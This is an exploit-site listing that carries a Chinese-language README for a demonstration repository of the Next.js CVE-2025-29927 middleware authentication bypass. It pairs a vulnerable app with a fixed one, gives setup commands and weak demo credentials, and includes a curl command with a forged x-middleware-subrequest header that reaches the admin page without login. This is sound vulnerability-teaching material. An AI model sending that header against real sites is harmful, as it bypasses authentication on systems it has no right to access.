Sploitus

Exploit for CVE-2025-29927

kitploit · 2026-09-02

Exploit Code

MARKDOWN117 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DANTE01YOON-CVE-2025-29927
# Next.js 漏洞演示 (CVE-2025-29927)

本仓库演示了 Next.js 漏洞 CVE-2025-29927,该漏洞影响 Next.js 15.2.2 及更早版本。攻击者可以通过设置 `x-middleware-subrequest` 头来绕过中间件的身份验证检查。

## 仓库结构

这是一个 NX 单体仓库,包含两个 Next.js 应用:

  1. **vulnerable-app** :使用存在漏洞的 Next.js 15.2.2
  2. **fixed-app** :使用已修复漏洞的 Next.js 15.2.3



## 漏洞说明

在 Next.js 15.2.3 之前的版本中,中间件实现存在一个安全漏洞。中间件未正确验证 `x-middleware-subrequest` 头的来源,使得攻击者可以伪造该头并绕过基于中间件的身份验证检查。

## 如何运行演示

### 前提条件

  * Node.js 18 或更高版本
  * npm 或 yarn
  * Docker(可选,用于容器化部署)



### 运行存在漏洞的应用

root@kitploit:~
    
    
    # Navigate to the repository
    cd nextjs-vulnerability
    
    # Install dependencies for the vulnerable app
    cd apps/vulnerable-app
    npm install
    
    # Start the vulnerable app
    npm run dev
    

存在漏洞的应用将在 http://localhost:3000 上运行。

### 运行已修复的应用

root@kitploit:~
    
    
    # Navigate to the repository
    cd nextjs-vulnerability
    
    # Install dependencies for the fixed app
    cd apps/fixed-app
    npm install
    
    # Start the fixed app
    npm run dev
    

已修复的应用将在 http://localhost:3001 上运行。

### 使用 Docker

你也可以使用 Docker 运行应用:

root@kitploit:~
    
    
    # For the vulnerable app
    cd apps/vulnerable-app
    docker build -t nextjs-vulnerable .
    docker run -p 3000:3000 nextjs-vulnerable
    
    # For the fixed app
    cd apps/fixed-app
    docker build -t nextjs-fixed .
    docker run -p 3001:3000 nextjs-fixed
    

## 演示漏洞

  1. 打开存在漏洞的应用(http://localhost:3000)
  2. 点击导航栏中的 "Admin"
  3. 由于未认证,你会被重定向到登录页面
  4. 现在尝试直接利用漏洞访问管理页面:



root@kitploit:~
    
    
    # Using curl
    curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
    
    # Or use a browser extension like ModHeader to add the header
    # and then visit http://localhost:3000/admin
    

在存在漏洞的版本(15.2.2)中,通过添加 `x-middleware-subrequest` 头,你可以无需认证即可访问管理页面。

在已修复的版本(15.2.3)中,中间件会正确验证该头的来源,你仍会被重定向到登录页面。

## 登录凭据

演示目的,你可以使用以下凭据登录:

  * 用户名:`admin`
  * 密码:`password123`



## 安全建议

如果你在生产环境中使用 Next.js,请确保更新到 15.2.3 或更高版本以防范此漏洞。